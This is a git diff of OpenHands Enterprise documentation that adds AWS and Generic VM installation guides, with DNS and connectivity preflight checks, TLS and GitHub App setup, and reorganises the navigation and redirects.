-![OpenHands is ready](./images/openhands-ready.png) +[Next Steps](/enterprise/vm-install/generic-vm#next-steps) -## Next Steps +<a id="dns-and-tls-setup"></a> -<CardGroup cols={2}> - <Card title="Enterprise Overview" icon="building" href="/enterprise/index"> - Learn about OpenHands Enterprise features, integrations, and deployment options. - </Card> - <Card title="Prompting Best Practices" icon="lightbulb" href="/openhands/usage/tips/prompting-best-practices"> - Get the most out of your AI coding agents with effective prompting techniques. - </Card> - <Card title="Troubleshooting" icon="life-ring" href="/enterprise/troubleshooting"> - Collect diagnostics, inspect workloads, and contact OpenHands Support. - </Card> - <Card title="OpenHands Documentation" icon="book" href="/overview/introduction"> - Explore the full OpenHands documentation for usage guides and features. - </Card> -</CardGroup> +[DNS and TLS Setup](/enterprise/vm-install/generic-vm#dns-and-tls-setup) diff --git a/enterprise/sizing-guide.mdx b/enterprise/sizing-guide.mdx index 38cb1f090..de7da7f78 100644 --- a/enterprise/sizing-guide.mdx +++ b/enterprise/sizing-guide.mdx @@ -49,7 +49,7 @@ Machine sizes below are based on the peak sandboxes, so feel free to size up or | **100** | ~400 | 96 vCPU / 384 GiB | `n2-standard-96`, `m6i.24xlarge`, `D96s_v5` | 4 TiB SSD | | **Above 100** | — | Use a Kubernetes install, or contact us for a sizing consultation | — | — | -The 16 vCPU / 64 GiB row matches the minimum VM in the [Quick Start](/enterprise/quick-start) system requirements. Trials that stay below roughly 15 concurrent sandboxes are well served by that baseline. +The 16 vCPU / 64 GiB row matches the minimum VM in the [Linux VM Quick Start](/enterprise/vm-install/generic-vm#system-requirements) system requirements. Trials that stay below roughly 15 concurrent sandboxes are well served by that baseline. <Warning> **Put the data disk on a separate expandable volume, not the boot disk.** Sandbox volumes on a single VM are host directories that consume actual bytes rather than preallocating, so the disk grows with real usage and is meant to be resized in place as demand increases. diff --git a/enterprise/vm-install/aws.mdx b/enterprise/vm-install/aws.mdx new file mode 100644 index 000000000..71dbcdf2f --- /dev/null +++ b/enterprise/vm-install/aws.mdx @@ -0,0 +1,335 @@ +--- +title: AWS Quick Start +description: Install OpenHands Enterprise on AWS using Terraform and the Replicated Admin Console. +icon: aws +--- + +This guide walks you through trialing OpenHands Enterprise on your own infrastructure. +You'll provision AWS infrastructure with Terraform, configure +GitHub for user authentication, and configure your LLM provider. + +## Who This Is For + +This guide is **not** for single-user local laptop installs. It is for a **30-day trial of OpenHands Enterprise** on a +**dedicated VM/server** on your own infrastructure. The deployment requires DNS records, network, and compute setup before installation. + +If you want to use OpenHands immediately without infrastructure setup: + +- Use OpenHands Cloud (SaaS) +- Run OpenHands open-source locally using Docker, CLI or SDK + +### Accounts and Credentials + +Before you begin, make sure you have the following ready: + +<Card title="Register for a Trial Account" icon="user-plus" href="https://install.r9.all-hands.dev/openhands/signup"> + Sign up for a free 30-day OpenHands Enterprise trial account. You'll need this to access the installer dashboard. +</Card> + +- **LLM credentials** from your chosen provider, for example an Anthropic API + key from the [Anthropic Console](https://console.anthropic.com/) +- **A GitHub account** with permission to create GitHub Apps +- **An AWS account** with permissions to create EC2, VPC, and Route53 resources + +## Provision Infrastructure + +Provision a dedicated VM for OpenHands Enterprise. + + +<Note> + The Terraform module defaults to an `m6i.4xlarge` instance (16 vCPU and 64 GiB RAM) with a 200 GB root volume. Choose capacity for your workload using the [Sizing Guide](/enterprise/sizing-guide) before provisioning. +</Note> + +We provide a [Terraform module](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/terraform/aws) that provisions a properly configured environment +for OpenHands Enterprise, including the EC2 instance, DNS records, and TLS certificates. + +<Card title="OpenHands AWS Terraform Module" icon="github" href="https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/terraform/aws"> + Follow the README instructions to configure and apply the Terraform configuration. +</Card> + +<Warning> + The recommended Terraform path provisions a publicly trusted TLS certificate. If you bring + your own certificate instead, use a publicly trusted CA whenever possible. Private CA + certificates require every external webhook or OAuth provider that calls OpenHands to trust + your CA. +</Warning> + + +## Preflight Validation + +All items below must be completed before running the installer: + +- VM meets CPU, memory, disk, and OS requirements +- DNS records are created and resolve from the VM +- Inbound ports are open: `80`, `443`, and `30000` +- Outbound domains are reachable from the VM +- GitHub App prerequisites are prepared +- (Optional) [External PostgreSQL](/enterprise/external-postgres) instance provisioned if using your own database + +<Warning> + Do not run the installer until preflight checks pass. +</Warning> + +### DNS checks + +Run the checks below on the target VM before opening the installer dashboard. + +Export your base domain: + +```bash +export BASE_DOMAIN="openhands.example.com" +``` +Test DNS: +```bash +for h in "admin.${BASE_DOMAIN}" "app.${BASE_DOMAIN}" "test-runtime.${BASE_DOMAIN}"; do + echo "[DNS] $h" + getent hosts "$h" || nslookup "$h" +done +``` + +Expected: each hostname resolves to your VM's public IP address through the +wildcard record. + +### Outbound connectivity checks + +```bash +urls=( + "https://replicated.app" + "https://proxy.replicated.com/v2/" + "https://images.r9.all-hands.dev/v2/" + "https://install.r9.all-hands.dev" + "https://charts.r9.all-hands.dev" + "https://updates.r9.all-hands.dev" + "https://github.com" + "https://traefik.github.io/charts/index.yaml" + "https://registry-1.docker.io/v2/" + "https://ghcr.io/v2/" +) + +for u in "${urls[@]}"; do + # HTTP 000 means connection failure (DNS failure, timeout, or blocked network path). + code=$(curl -sSIL --max-time 15 -o /dev/null -w "%{http_code}" "$u" || true) + if [ "$code" = "000" ]; then + echo "FAIL $u" + else + echo "OK $u (HTTP $code)" + fi +done +``` + +Any HTTP response code other than `000` is acceptable for reachability checks +(for example `200`, `301`, `302`, `401`, `403`, `405`). + +If any check fails, stop and resolve before continuing: +- DNS failures: Verify records are created, point to the right target, and have finished propagating +- Outbound connectivity failures: Check firewall egress rules, proxy settings, and TLS inspection policies + +## Reasons for Requirements + +| Requirement | Why It Exists | +|------------|----------------| +| `443/TCP` inbound | Primary HTTPS entrypoint for users and service hostnames | +| `30000/TCP` inbound | Replicated/KOTS Admin Console for install and configuration | +| `80/TCP` inbound | HTTP entrypoint used for ingress/redirect behavior | +| `*.<domain>` DNS + cert SAN | Application services and sandboxes are addressed by hostnames under the base domain | +| `replicated.app`, `proxy.replicated.com` | Replicated control-plane/license/install paths | +| `images.r9...`, `charts.r9...`, `updates.r9...`, `install.r9...` | Vendor distribution image/chart/update/install endpoints | +| `traefik.github.io` | Embedded cluster ingress chart repository | +| `ghcr.io`, `registry-1.docker.io` | Container image pulls for platform components | +| `github.com` | GitHub App setup/auth/webhooks and downloading public agent skills | + +## Run the Installer + +### 1. Access the Installer Dashboard + +After preflight validation checks have passed, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), then +log in to the installer dashboard. You will see the dashboard below. +Click **"View install guide"** in the Install tile. + +![Installer Dashboard](/enterprise/images/admin-dashboard.png) + +### 2. Name your instance + +Enter a name for your instance (e.g., your company name or environment identifier). +Select **"Outbound requests allowed"** for Network Availability, then click **Continue**. + +![Instance name and network availability](/enterprise/images/install-instance-name.png) + +### 3. Run the installation commands + +The install guide provides commands to run on your VM. SSH into your VM and execute them in order: + +1. **Select a version** -- the latest version is pre-selected +2. **Download the installation assets** -- copy and run the `curl` command shown +3. **Extract the installation assets** -- run the `tar` command shown (this includes your license file) +4. **Install** -- run the install command shown + +If the install command fails after preflight checks pass, see +[Troubleshooting](/enterprise/troubleshooting) to generate a support +bundle and open a support ticket. + +<Warning> + **We recommend providing your TLS certificates during installation.** If you used the + Terraform module, the certificates are in your home directory: + + ```bash + sudo ./openhands install --license license.yaml \ + --tls-cert ~/certificate.pem \ + --tls-key ~/private-key.pem + ``` + + You can also omit the `--tls-cert` and `--tls-key` flags and upload certificates later through + the Admin Console. + + For trials and production deployments, use a publicly trusted TLS certificate whenever possible. + Private CA certificates may work for users after manual trust setup, but external integrations + such as GitHub, GitLab, Slack, Jira, and Bitbucket must also trust the certificate chain. If they + do not, webhook or OAuth callbacks can fail TLS verification and repeatedly retry. +</Warning> + +![Installation commands](/enterprise/images/install-commands.png) + +### 4. Access the Admin Console + +Once the install command completes, the Admin Console is available at: +- `https://admin.<your-base-domain>:30000` (if you provided TLS certificates) +- `http://<your-vm-ip>:30000` (if you did not use the `--tls-cert` and `--tls-key` flags on the `install` command) + +If you did not provide TLS certificates with the `install` command, your browser will display a security warning. +Click **Advanced**, then **Proceed** to continue to the Admin Console. + +![Self-signed certificate warning](/enterprise/images/self-signed-cert-warning.png) + +### 5. Upload TLS certificate (if not provided with the install command) + +If you did not provide certificates with the `install` command, select **"Upload your own"**, +enter `admin.<your-base-domain>` under **Hostname**, upload your private key and SSL certificate, then click **Continue**. + +If you upload a private CA certificate, make sure any external webhook or OAuth provider that +calls OpenHands also trusts that CA. + +![Upload TLS certificate](/enterprise/images/upload-tls-certificate.png) + +### 6. Log in to the Admin Console + +Enter the password you set during installation and click **Log in**. + +![Admin Console login](/enterprise/images/admin-console-login.png) + +### 7. Configure the cluster + +You will be prompted to add additional nodes to the cluster. +For a single-node deployment, click **Continue** to skip this step. + +![Configure cluster nodes](/enterprise/images/configure-cluster-nodes.png) + +## Configure OpenHands + +You should now see the application configuration page. + +![Configure OpenHands](/enterprise/images/configure-openhands.png) + +### Domain Configuration + +- Keep the Hostname Configuration Mode set to **"Simple (default)"** +- Enter your base domain (e.g., `openhands.example.com`) + +### Certificate Configuration + +- Upload your **TLS Certificate** (`.crt` or `.pem`) +- Upload your **TLS Private Key** (`.key` or `.pem`) +- Optionally upload the root **CA Certificate** for your TLS certificates + +### LLM Configuration + +Choose an LLM provider from the LLM Configuration dropdown and enter the details +from that provider. + +![LLM Configuration provider dropdown](/enterprise/images/llm-configuration-provider-dropdown.png) + +For example, if you use Anthropic, enter your API key from the +[Anthropic Console](https://console.anthropic.com/). + +### Database Configuration + +By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your +own PostgreSQL instance (for example, to integrate with existing database infrastructure or +meet specific backup/HA requirements), see [External PostgreSQL](/enterprise/external-postgres) +for setup instructions. + +### GitHub Authentication + +Enable GitHub Authentication in the Admin Console, then follow these steps to create and +configure a GitHub App. + +#### Create a GitHub App + +Run our [script](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/scripts/create_github_app) to create a GitHub App configured for your install. + +#### Map GitHub App values to Admin Console + +Go back to the Installer Admin Console in your browser and enter the values from the Create GitHub App script output. For the private key, upload the file from the `keys` directory of the script location. + +See [GitHub](/enterprise/integrations/github) for GitHub App installation, +`@openhands` resolver behavior, pull request review identity, and repository-level +review controls. + +### Additional Integrations + +If your team uses Jira Data Center or Bitbucket Data Center, follow these guides +to configure Admin Console values before deployment and complete webhook setup +inside OpenHands after deployment. + +<CardGroup cols={2}> + <Card title="Bitbucket Data Center" icon="code-branch" href="/enterprise/integrations/bitbucket-data-center"> + Configure Bitbucket Data Center login, repository access, bot identity, and pull request webhooks. + </Card> + <Card title="Jira Data Center" icon="building" href="/enterprise/integrations/jira-data-center"> + Configure Jira issue triggers, OAuth account linking, service account credentials, and Jira webhooks. + </Card> +</CardGroup> + +After filling in all fields, click **Continue** at the bottom of the page. + +## Deploy and Verify + +OpenHands will begin deploying. You can expect the deployment status to transition from +**Missing** to **Unavailable** to **Ready**. This typically takes 5-10 minutes. + +![Deployment in progress](/enterprise/images/deployment-in-progress.png) + +Click **Details** next to the deployment status to monitor individual resources. Resources +shown in orange are still deploying -- wait until all resources are ready. + +![Deployment status details](/enterprise/images/deployment-status-details.png) + +## First Login + +Once the deployment status shows **Ready**, navigate to `https://app.<your-base-domain>` +and click the **Login with GitHub** tile. + + +Accept the Terms of Service and click **Continue**. + +![Accept Terms of Service](/enterprise/images/accept-terms-of-service.png) + +OpenHands Enterprise is now running. You can open a repository or start a new conversation. + +![OpenHands is ready](/enterprise/images/openhands-ready.png) + +## Next Steps + +<CardGroup cols={2}> + <Card title="Enterprise Overview" icon="building" href="/enterprise/index"> + Learn about OpenHands Enterprise features, integrations, and deployment options. + </Card> + <Card title="Prompting Best Practices" icon="lightbulb" href="/openhands/usage/tips/prompting-best-practices"> + Get the most out of your AI coding agents with effective prompting techniques. + </Card> + <Card title="Troubleshooting" icon="life-ring" href="/enterprise/troubleshooting"> + Collect diagnostics, inspect workloads, and contact OpenHands Support. + </Card> + <Card title="OpenHands Documentation" icon="book" href="/overview/introduction"> + Explore the full OpenHands documentation for usage guides and features. + </Card> +</CardGroup> diff --git a/enterprise/vm-install/generic-vm.mdx b/enterprise/vm-install/generic-vm.mdx new file mode 100644 index 000000000..5f00b1a99 --- /dev/null +++ b/enterprise/vm-install/generic-vm.mdx @@ -0,0 +1,438 @@ +--- +title: Generic VM Quick Start +description: Install OpenHands Enterprise on a Linux VM using the Replicated installer and Admin Console. +icon: server +--- + +This guide walks you through trialing OpenHands Enterprise on your own infrastructure. +You'll prepare a Linux VM on your cloud or on-premises infrastructure, configure +GitHub for user authentication, and configure your LLM provider. + +## Who This Is For + +This guide is **not** for single-user local laptop installs. It is for a **30-day trial of OpenHands Enterprise** on a +**dedicated VM/server** on your own infrastructure. The deployment requires DNS records, network, and compute setup before installation. + +If you want to use OpenHands immediately without infrastructure setup: + +- Use OpenHands Cloud (SaaS) +- Run OpenHands open-source locally using Docker, CLI or SDK + +### Accounts and Credentials + +Before you begin, make sure you have the following ready: + +<Card title="Register for a Trial Account" icon="user-plus" href="https://install.r9.all-hands.dev/openhands/signup"> + Sign up for a free 30-day OpenHands Enterprise trial account. You'll need this to access the installer dashboard. +</Card> + +- **LLM credentials** from your chosen provider, for example an Anthropic API + key from the [Anthropic Console](https://console.anthropic.com/) +- **A GitHub account** with permission to create GitHub Apps + +## Provision Infrastructure + +Provision a dedicated VM for OpenHands Enterprise. + + +<Note> + The requirements below are the trial baseline, which comfortably supports about 15 concurrent sandboxes. For a larger rollout, pick your VM from the [Sizing Guide](/enterprise/sizing-guide) before provisioning. +</Note> + +If you are provisioning a VM manually (on-premises or on another cloud provider), +it must meet the requirements below. + +<Accordion title="System requirements"> + | Resource | Requirement | + |----------|-------------| + | **vCPUs** | 16 | + | **Memory** | 64 GB | + | **Disk** | 200 GB | + | **Disk P99 write latency** | 10 ms maximum | + | **OS** | Linux (x86-64 architecture) | + | **Init system** | systemd | + | **Access** | Root access (sudo) required | + + <Note> + We recommend **Ubuntu 24.04 LTS**. The default **Sandbox Isolation** runtime + (Sysbox) is best supported on Ubuntu and requires **Linux kernel 6.3 or newer**, + which Ubuntu 24.04 provides. Very new, non-LTS releases (for example, Ubuntu 25.10 + or later) may ship kernels that are not yet supported by Sysbox and can cause + sandbox containers to fail during startup. If you do not need Docker inside the + sandbox, you can instead select the standard runtime under **Sandbox Isolation** in + the installer, which does not require a Sysbox-compatible kernel. See + [Docker in Sandbox](/enterprise/docker-in-sandbox) for details. + </Note> +</Accordion> + +<Accordion title="Network requirements"> + **Firewall inbound rules** -- the following ports must be open: + + | Port | Protocol | Purpose | + |------|----------|---------| + | 80 | TCP | HTTP ingress/redirect | + | 443 | TCP | HTTPS | + | 30000 | TCP | Admin Console | + + **Local ports** -- the following ports must be available for local processes (no firewall rules needed): + + `2379/TCP`, `7443/TCP`, `9099/TCP`, `10248/TCP`, `10257/TCP`, `10259/TCP` + + **Outbound access** -- the VM must be able to reach: + + - `replicated.app` + - `proxy.replicated.com` + - `images.r9.all-hands.dev` + - `install.r9.all-hands.dev` + - `charts.r9.all-hands.dev` + - `updates.r9.all-hands.dev` + - `github.com` + - `traefik.github.io` + - `registry-1.docker.io` + - `ghcr.io` +</Accordion> + +<Accordion title="System directories created by the installer"> + The installation creates directories and files in the following locations: + + ``` + /etc/cni + /etc/k0s + /opt/cni + /opt/containerd + /run/calico + /run/containerd + /run/k0s + /sys/fs/cgroup/kubepods + /sys/fs/cgroup/system.slice/containerd.service + /sys/fs/cgroup/system.slice/k0scontroller.service + /usr/libexec/k0s + /usr/local/bin/k0s + /var/lib/calico + /var/lib/cni + /var/lib/containers + /var/lib/embedded-cluster + /var/lib/kubelet + /var/log/calico + /var/log/containers + /var/log/embedded-cluster + /var/log/pods + ``` +</Accordion> + +### DNS and TLS Setup + +Once your VM is running, configure DNS and TLS before starting the installer. + +**Create a wildcard DNS A record** pointing to your VM's public IP address: + +| Record | Example | +|--------|---------| +| `*.<your-domain>` | `*.openhands.example.com` | + +**Obtain a wildcard TLS certificate signed by a well-known certificate authority (CA) such as Let's Encrypt** +for `*.<your-domain>`, then copy the certificate +(`.pem` or `.crt`) and private key (`.pem` or `.key`) to the VM. Self-signed certificates +are not supported for the OpenHands application. + +<Accordion title="Can't use wildcard certificates?"> + Obtain a certificate with SANs (Subject Alternative Names) for each of these hostnames: + + - `admin.<your-domain>` + - `app.<your-domain>` + - `auth.<your-domain>` + - `analytics.<your-domain>` + - `llm-proxy.<your-domain>` + - `runtime-api.<your-domain>` + - `runtime.<your-domain>` + + By default, each sandbox runtime gets its own dynamic hostname, which only a wildcard + certificate can cover. When you configure OpenHands, set **Sandbox Routing Mode** to + **Path-based** so all sandboxes are served under `runtime.<your-domain>` instead. +</Accordion> + +<Warning> + If you don't provide TLS certificates during installation, the Admin Console will use a + self-signed certificate and your browser will display a security warning. You can still + upload your certificate afterward through the Admin Console. +</Warning> + + +## Preflight Validation + +All items below must be completed before running the installer: + +- VM meets CPU, memory, disk, and OS requirements +- DNS records are created and resolve from the VM +- Inbound ports are open: `80`, `443`, and `30000` +- Outbound domains are reachable from the VM +- GitHub App prerequisites are prepared +- (Optional) [External PostgreSQL](/enterprise/external-postgres) instance provisioned if using your own database + +<Warning> + Do not run the installer until preflight checks pass. +</Warning> + +### DNS checks + +Run the checks below on the target VM before opening the installer dashboard. + +Export your base domain: + +```bash +export BASE_DOMAIN="openhands.example.com" +``` +Test DNS: +```bash +for h in "admin.${BASE_DOMAIN}" "app.${BASE_DOMAIN}" "test-runtime.${BASE_DOMAIN}"; do + echo "[DNS] $h" + getent hosts "$h" || nslookup "$h" +done +``` + +Expected: each hostname resolves to your VM's public IP address through the +wildcard record. + +### Outbound connectivity checks + +```bash +urls=( + "https://replicated.app" + "https://proxy.replicated.com/v2/" + "https://images.r9.all-hands.dev/v2/" + "https://install.r9.all-hands.dev" + "https://charts.r9.all-hands.dev" + "https://updates.r9.all-hands.dev" + "https://github.com" + "https://traefik.github.io/charts/index.yaml" + "https://registry-1.docker.io/v2/" + "https://ghcr.io/v2/" +) + +for u in "${urls[@]}"; do + # HTTP 000 means connection failure (DNS failure, timeout, or blocked network path). + code=$(curl -sSIL --max-time 15 -o /dev/null -w "%{http_code}" "$u" || true) + if [ "$code" = "000" ]; then + echo "FAIL $u" + else + echo "OK $u (HTTP $code)" + fi +done +``` + +Any HTTP response code other than `000` is acceptable for reachability checks +(for example `200`, `301`, `302`, `401`, `403`, `405`). + +If any check fails, stop and resolve before continuing: +- DNS failures: Verify records are created, point to the right target, and have finished propagating +- Outbound connectivity failures: Check firewall egress rules, proxy settings, and TLS inspection policies + +## Reasons for Requirements + +| Requirement | Why It Exists | +|------------|----------------| +| `443/TCP` inbound | Primary HTTPS entrypoint for users and service hostnames | +| `30000/TCP` inbound | Replicated/KOTS Admin Console for install and configuration | +| `80/TCP` inbound | HTTP entrypoint used for ingress/redirect behavior | +| `*.<domain>` DNS + cert SAN | Application services and sandboxes are addressed by hostnames under the base domain | +| `replicated.app`, `proxy.replicated.com` | Replicated control-plane/license/install paths | +| `images.r9...`, `charts.r9...`, `updates.r9...`, `install.r9...` | Vendor distribution image/chart/update/install endpoints | +| `traefik.github.io` | Embedded cluster ingress chart repository | +| `ghcr.io`, `registry-1.docker.io` | Container image pulls for platform components | +| `github.com` | GitHub App setup/auth/webhooks and downloading public agent skills | + +## Run the Installer + +### 1. Access the Installer Dashboard + +After preflight validation checks have passed, [register for a free 30-day trial](https://install.r9.all-hands.dev/openhands/signup), then +log in to the installer dashboard. You will see the dashboard below. +Click **"View install guide"** in the Install tile. + +![Installer Dashboard](/enterprise/images/admin-dashboard.png) + +### 2. Name your instance + +Enter a name for your instance (e.g., your company name or environment identifier). +Select **"Outbound requests allowed"** for Network Availability, then click **Continue**. + +![Instance name and network availability](/enterprise/images/install-instance-name.png) + +### 3. Run the installation commands + +The install guide provides commands to run on your VM. SSH into your VM and execute them in order: + +1. **Select a version** -- the latest version is pre-selected +2. **Download the installation assets** -- copy and run the `curl` command shown +3. **Extract the installation assets** -- run the `tar` command shown (this includes your license file) +4. **Install** -- run the install command shown + +If the install command fails after preflight checks pass, see +[Troubleshooting](/enterprise/troubleshooting) to generate a support +bundle and open a support ticket. + +<Warning> + **We recommend providing your TLS certificates during installation.** Pass the full-chain certificate and matching private key stored on your VM: + + ```bash + sudo ./openhands install --license license.yaml \ + --tls-cert ~/certificate.pem \ + --tls-key ~/private-key.pem + ``` + + Replace the example paths with your actual certificate paths. + You can also omit the `--tls-cert` and `--tls-key` flags and upload certificates later through + the Admin Console. + + For trials and production deployments, use a publicly trusted TLS certificate whenever possible. + Private CA certificates may work for users after manual trust setup, but external integrations + such as GitHub, GitLab, Slack, Jira, and Bitbucket must also trust the certificate chain. If they + do not, webhook or OAuth callbacks can fail TLS verification and repeatedly retry. +</Warning> + +![Installation commands](/enterprise/images/install-commands.png) + +### 4. Access the Admin Console + +Once the install command completes, the Admin Console is available at: +- `https://admin.<your-base-domain>:30000` (if you provided TLS certificates) +- `http://<your-vm-ip>:30000` (if you did not use the `--tls-cert` and `--tls-key` flags on the `install` command) + +If you did not provide TLS certificates with the `install` command, your browser will display a security warning. +Click **Advanced**, then **Proceed** to continue to the Admin Console. + +![Self-signed certificate warning](/enterprise/images/self-signed-cert-warning.png) + +### 5. Upload TLS certificate (if not provided with the install command) + +If you did not provide certificates with the `install` command, select **"Upload your own"**, +enter `admin.<your-base-domain>` under **Hostname**, upload your private key and SSL certificate, then click **Continue**. + +If you upload a private CA certificate, make sure any external webhook or OAuth provider that +calls OpenHands also trusts that CA. + +![Upload TLS certificate](/enterprise/images/upload-tls-certificate.png) + +### 6. Log in to the Admin Console + +Enter the password you set during installation and click **Log in**. + +![Admin Console login](/enterprise/images/admin-console-login.png) + +### 7. Configure the cluster + +You will be prompted to add additional nodes to the cluster. +For a single-node deployment, click **Continue** to skip this step. + +![Configure cluster nodes](/enterprise/images/configure-cluster-nodes.png) + +## Configure OpenHands + +You should now see the application configuration page. + +![Configure OpenHands](/enterprise/images/configure-openhands.png) + +### Domain Configuration + +- Keep the Hostname Configuration Mode set to **"Simple (default)"** +- Enter your base domain (e.g., `openhands.example.com`) + +### Certificate Configuration + +- Upload your **TLS Certificate** (`.crt` or `.pem`) +- Upload your **TLS Private Key** (`.key` or `.pem`) +- Optionally upload the root **CA Certificate** for your TLS certificates + +### LLM Configuration + +Choose an LLM provider from the LLM Configuration dropdown and enter the details +from that provider. + +![LLM Configuration provider dropdown](/enterprise/images/llm-configuration-provider-dropdown.png) + +For example, if you use Anthropic, enter your API key from the +[Anthropic Console](https://console.anthropic.com/). + +### Database Configuration + +By default, OpenHands Enterprise uses a bundled PostgreSQL database. If you need to use your +own PostgreSQL instance (for example, to integrate with existing database infrastructure or +meet specific backup/HA requirements), see [External PostgreSQL](/enterprise/external-postgres) +for setup instructions. + +### GitHub Authentication + +Enable GitHub Authentication in the Admin Console, then follow these steps to create and +configure a GitHub App. + +#### Create a GitHub App + +Run our [script](https://github.com/All-Hands-AI/OpenHands-Cloud/tree/main/scripts/create_github_app) to create a GitHub App configured for your install. + +#### Map GitHub App values to Admin Console + +Go back to the Installer Admin Console in your browser and enter the values from the Create GitHub App script output. For the private key, upload the file from the `keys` directory of the script location. + +See [GitHub](/enterprise/integrations/github) for GitHub App installation, +`@openhands` resolver behavior, pull request review identity, and repository-level +review controls. + +### Additional Integrations + +If your team uses Jira Data Center or Bitbucket Data Center, follow these guides +to configure Admin Console values before deployment and complete webhook setup +inside OpenHands after deployment. + +<CardGroup cols={2}> + <Card title="Bitbucket Data Center" icon="code-branch" href="/enterprise/integrations/bitbucket-data-center"> + Configure Bitbucket Data Center login, repository access, bot identity, and pull request webhooks. + </Card> + <Card title="Jira Data Center" icon="building" href="/enterprise/integrations/jira-data-center"> + Configure Jira issue triggers, OAuth account linking, service account credentials, and Jira webhooks. + </Card> +</CardGroup> + +After filling in all fields, click **Continue** at the bottom of the page. + +## Deploy and Verify + +OpenHands will begin deploying. You can expect the deployment status to transition from +**Missing** to **Unavailable** to **Ready**. This typically takes 5-10 minutes. + +![Deployment in progress](/enterprise/images/deployment-in-progress.png) + +Click **Details** next to the deployment status to monitor individual resources. Resources +shown in orange are still deploying -- wait until all resources are ready. + +![Deployment status details](/enterprise/images/deployment-status-details.png) + +## First Login + +Once the deployment status shows **Ready**, navigate to `https://app.<your-base-domain>` +and click the **Login with GitHub** tile. + + +Accept the Terms of Service and click **Continue**. + +![Accept Terms of Service](/enterprise/images/accept-terms-of-service.png) + +OpenHands Enterprise is now running. You can open a repository or start a new conversation. + +![OpenHands is ready](/enterprise/images/openhands-ready.png) + +## Next Steps + +<CardGroup cols={2}> + <Card title="Enterprise Overview" icon="building" href="/enterprise/index"> + Learn about OpenHands Enterprise features, integrations, and deployment options. + </Card> + <Card title="Prompting Best Practices" icon="lightbulb" href="/openhands/usage/tips/prompting-best-practices"> + Get the most out of your AI coding agents with effective prompting techniques. + </Card> + <Card title="Troubleshooting" icon="life-ring" href="/enterprise/troubleshooting"> + Collect diagnostics, inspect workloads, and contact OpenHands Support. + </Card> + <Card title="OpenHands Documentation" icon="book" href="/overview/introduction"> + Explore the full OpenHands documentation for usage guides and features. + </Card> +</CardGroup> diff --git a/enterprise/vm-install/google.mdx b/enterprise/vm-install/google.mdx index cffb119b0..2cc34ff85 100644 --- a/enterprise/vm-install/google.mdx +++ b/enterprise/vm-install/google.mdx @@ -198,12 +198,12 @@ Before opening the installer dashboard, confirm that: - The VM meets the CPU, memory, storage, OS and kernel requirements. - Wildcard DNS resolves to the static external IP from the VM. - Ports 80 and 443 are reachable by application clients, and port 30000 is reachable from your administrator network. -- The VM can reach the [distribution endpoints](/enterprise/quick-start#outbound-connectivity-checks), GitHub, `oauth2.googleapis.com` and the Vertex endpoint for your selected location. +- The VM can reach the [distribution endpoints](/enterprise/vm-install/generic-vm#outbound-connectivity-checks), GitHub, `oauth2.googleapis.com` and the Vertex endpoint for your selected location. - Your trusted certificate covers service and dynamic sandbox hostnames, and its private key matches. - Vertex credentials and GitHub App prerequisites are ready. -Run the shared [DNS checks](/enterprise/quick-start#dns-checks) and -[outbound connectivity checks](/enterprise/quick-start#outbound-connectivity-checks) +Run the shared [DNS checks](/enterprise/vm-install/generic-vm#dns-checks) and +[outbound connectivity checks](/enterprise/vm-install/generic-vm#outbound-connectivity-checks) on the VM. An HTTP response establishes network reachability; authenticate and run a conversation after deployment to validate inference. From a88fc97ff87cafa1380f68e05b4af6cc7816c14c Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 13:09:59 -0500 Subject: [PATCH 77/97] docs: group Enterprise quick starts under VM Install (#956) --- docs.json | 11 ++- enterprise/quick-start.mdx | 145 ------------------------------------- 2 files changed, 7 insertions(+), 149 deletions(-) delete mode 100644 enterprise/quick-start.mdx diff --git a/docs.json b/docs.json index 02ccca309..932d529c0 100644 --- a/docs.json +++ b/docs.json @@ -541,10 +541,6 @@ "enterprise/enterprise-vs-oss", "enterprise/architecture", "enterprise/sizing-guide", - "enterprise/quick-start", - "enterprise/vm-install/aws", - "enterprise/vm-install/google", - "enterprise/vm-install/generic-vm", { "group": "Custom Sandbox Images", "icon": "box", @@ -629,6 +625,9 @@ { "group": "VM Install", "pages": [ + "enterprise/vm-install/generic-vm", + "enterprise/vm-install/aws", + "enterprise/vm-install/google", "enterprise/vm-install/admin-console-configuration", "enterprise/vm-install/log-collection", "enterprise/vm-install/scaling" @@ -805,6 +804,10 @@ ] }, "redirects": [ + { + "source": "/enterprise/quick-start", + "destination": "/enterprise/vm-install/generic-vm" + }, { "source": "/openhands/usage/agent-canvas/self-hosting", "destination": "/openhands/usage/agent-canvas/backend-setup/vm" diff --git a/enterprise/quick-start.mdx b/enterprise/quick-start.mdx deleted file mode 100644 index 737e84d54..000000000 --- a/enterprise/quick-start.mdx +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Quick Start -description: Choose an installation guide for OpenHands Enterprise on your infrastructure. -icon: rocket ---- - -Install OpenHands Enterprise with Replicated Embedded Cluster on a dedicated VM. -Choose the guide for your infrastructure: - -<CardGroup cols={2}> - <Card title="AWS Quick Start" icon="aws" href="/enterprise/vm-install/aws"> - Provision AWS infrastructure with the official Terraform module, then install and configure OpenHands. - </Card> - <Card title="Google Cloud Quick Start" icon="google" href="/enterprise/vm-install/google"> - Provision a Compute Engine VM and configure administrator-managed Vertex AI models. - </Card> - <Card title="Generic VM Quick Start" icon="server" href="/enterprise/vm-install/generic-vm"> - Prepare a Linux VM on-premises or on another cloud provider, then install and configure OpenHands. - </Card> -</CardGroup> - -Each guide covers prerequisites, infrastructure, preflights, installation, -application configuration and first-login checks. For an existing Kubernetes -cluster, see [Install with Helm](/enterprise/k8s-install/installation). - -The [Sizing Guide](/enterprise/sizing-guide) helps you choose resources for your -workload. The [Admin Console Configuration reference](/enterprise/vm-install/admin-console-configuration) -covers deployment settings and optional integrations. - -## Existing Quick Start Links - -The previous combined guide is now available as the AWS and Generic VM guides. -Use the links below to continue from a previously bookmarked section. - -<a id="who-this-is-for"></a> - -[Who This Is For](/enterprise/vm-install/generic-vm#who-this-is-for) - -<a id="accounts-and-credentials"></a> - -[Accounts and Credentials](/enterprise/vm-install/generic-vm#accounts-and-credentials) - -<a id="provision-infrastructure"></a> - -[Provision Infrastructure](/enterprise/vm-install/generic-vm#provision-infrastructure) - -<a id="preflight-validation"></a> - -[Preflight 